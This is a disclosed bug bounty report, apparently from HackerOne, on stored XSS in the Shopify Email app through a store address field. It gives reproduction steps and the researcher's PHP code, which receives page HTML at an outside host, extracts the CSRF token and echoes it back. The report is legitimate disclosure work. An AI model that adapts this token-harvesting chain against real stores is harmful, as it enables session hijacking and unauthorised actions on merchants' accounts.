XSS within Shopify Email App - Admin
Originally disclosed on HackerOne
- Triaged in 39 hours
- Fixed in 4 days
- Paid in 4 days
- Disclosed after 4 months
The Shopify Email Application is vulnerable to XSS
A user with only Settings https://hackerone.myshopify.com/admin/settings/general access can inject html within the Apartment, suite, etc. (optional) of the Store address section that will then be displayed in the Shopify Email Template edition
Steps to reproduce
- Open Settings page
- Insert malicious HTML within the Apartment, suite, etc. (optional) field. Please note that the inserted code is a bit too complex for nothing but was just trying out if it was possible to "bypass" the 255 characters limit , which is possible. (Code snippet can be found below).
██████ 3. Install Shopify Email App 4. Select a template that displays Apartment, suite, etc. (optional) field

Javascript code used
PHP code of https://fbs.ninja used in the XMLHttpRequest
<?
header("Access-Control-Allow-Origin: *");
$html = file_get_contents('php://input');
$doc = DOMDocument::loadHTML($html);
$xpath = new DOMXPath($doc);
$query = "//meta[@name='csrf-token']";
$entries = $xpath->query($query);
$csrf = "";
foreach ($entries as $entry) {
$csrf = $entry->getAttribute('content');
break;
}
$request = "alert('CSRF Token: " . $csrf . "');";
echo $request;
?>
## Impact
An attacker could at least trigger requests to the https://email.shopifyapps.com/graphql endpoint.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A XSS bug in Shopify Developed Apps. HackerOne made it public on 14 September 2020.
About XSS
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.